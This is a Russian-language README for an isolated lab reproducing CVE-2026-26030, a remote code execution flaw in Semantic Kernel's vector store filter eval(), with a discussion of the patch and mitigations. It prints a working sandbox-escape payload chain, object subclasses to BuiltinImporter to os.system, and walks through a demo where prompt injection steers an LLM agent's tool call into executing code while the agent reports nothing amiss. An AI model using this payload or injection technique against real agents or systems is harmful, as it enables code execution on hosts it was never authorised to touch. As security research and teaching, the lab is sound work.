
Этическая, сетеизолированная Docker-лаборатория, воспроизводящая CVE-2026-26030 — eval()-уязвимость RCE в фильтре векторного хранилища в памяти Semantic Kernel (исправлена в 1.39.4)
eval() в Semantic Kernel (лаборатория)Автономная лаборатория, воспроизводящая CVE-2026-26030: внедряемое через подсказку удаленное выполнение кода через фильтр поиска в векторном хранилище в оперативной памяти Microsoft Semantic Kernel (Python, < 1.39.4).
Только этическая лаборатория. Изолирована в выделенных виртуальных окружениях; полезные нагрузки безвредны (
touchфайла-маркера в безголовом PoC;open -a Calculatorв демо UI) и выполняются от вашего собственного непривилегированного пользователя.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
Требуется python3.13 (сборки для зависимостей SK: numpy/scipy). Можно переопределить с помощью PYTHON=.
./run.sh # runs the same payload against both venvs
Вывод уязвимой версии заканчивается на RCE CONFIRMED; исправленная версия отклоняет ту же полезную нагрузку с сообщением '__subclasses__' ... is not allowed.
OpsBot — внутренний агент базы знаний для инженеров (Llama, размещенная на Groq, через Semantic Kernel), предоставляет инструмент search_runbooks(team). Атакующий внедряет вредоносное значение team через подсказку; агент вызывает инструмент, уязвимый фильтр выполняется, и «записка вымогателя» открывается в TextEdit — в то время как агент сообщает результаты поиска по runbook, ничего не подозревая. Полезная нагрузка (open -e <note>) не блокирует выполнение и безвредна; записка предварительно размещена в /tmp/PWNED_by_CVE-2026-26030.txt.
Инструмент запускает подлинный уязвимый eval фильтра в чистом подпроцессе (run_filter.py). Это необходимость macOS, а не хитрость: собственный fork() сервера отравлен асинхронными потоками LLM/httpx + numpy/scipy, поэтому запуск GUI из этого процесса молчаливо ничего не делает. Подпроцесс — это точный путь кода CVE (_parse_and_validate_filter → выполнение лямбды на записи).
Примечание: разделение на чистый подпроцесс — особенность этой демонстрационной среды macOS, а не уязвимости. На агенте, развернутом на Linux, внутрипроцессный
os.systemсрабатывает напрямую — подпроцесс не требуется.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
Сообщение атакующего предварительно загружено в поле ввода; нажмите Отправить.
Агент предоставляет инструмент поиска, основанный на InMemoryCollection. LLM выдает строку выражения фильтра из разговора (lambda x: x.team == 'platform'). Эта строка может быть изменена атакующим — через подсказку пользователя или через внедренный текст в полученном содержимом/инструменте — и попадает в _parse_and_validate_filter, который compile() и eval() ее (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ очищен, и сначала применяется AST-белый список — так что это обход песочницы, а не отсутствующая защита. Две прорехи делают его обходимым:
ast.Attribute неограничен — нет блок-листа для dunder-атрибутов, поэтому разрешен обход через ().__class__.__base__.__subclasses__.ast.Call проверяет func только когда это Name или Attribute. Когда func является Subscript (который разрешен), func_name остается None, и проверка разрешенной функции полностью пропускается.Таким образом, оборачивание любого вызываемого объекта как [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/args) вызывает что угодно. Цепочка:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/%27os%27).system][0]('touch /tmp/pwned_by_filter')
func каждого вызова является Subscript; каждый шаг обхода — обычный доступ к атрибуту. Индекс (107) — это позиция BuiltinImporter в object.__subclasses__() — она варьируется в зависимости от сборки Python, поэтому exploit.py и демо вычисляют его во время выполнения.
Патч добавляет блок-лист опасных атрибутов поверх белого списка, поэтому обход через dunder отклоняется до eval:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
Самое ясное утверждение тезиса безопасности агента: не существует границы между «данными» и «инструкциями». Фильтр, который модель пишет из запроса пользователя к runbook, становится os.system. Песочница существовала — белый список и очищенные __builtins__ — и все равно пала из-за обхода через обход атрибутов + вызов через subscript. Иерархия смягчений, которую стоит упомянуть в посте: вообще не используйте eval для вывода модели; если необходимо, ограничивайте на основе закрытой грамматики, а не белого списка узлов с открытым доступом к атрибутам; и изолируйте рабочий процесс (seccomp / без сети / непривилегированный), чтобы выполнение кода не было концом игры.
| файл | назначение |
|---|
setup.sh | собирает два изолированных виртуальных окружения (уязвимое + исправленное) |
run.sh | безголовый PoC для обоих виртуальных окружений |
exploit.py | сквозной тест: настоящая коллекция + фильтр поиска -> RCE |
find_sink.py | находит цель eval/compile в установленном пакете |
probe.py | минимальное подтверждение обхода только с помощью валидатора |
demo-ui/app.py | FastAPI + SK + агент Groq; уязвимый инструмент search_runbooks |
demo-ui/run_filter.py | запускает подлинный eval фильтра в чистом подпроцессе (серверный fork() отравлен) |
demo-ui/index.html | чат-интерфейс; открывает записку вымогателя в TextEdit при RCE |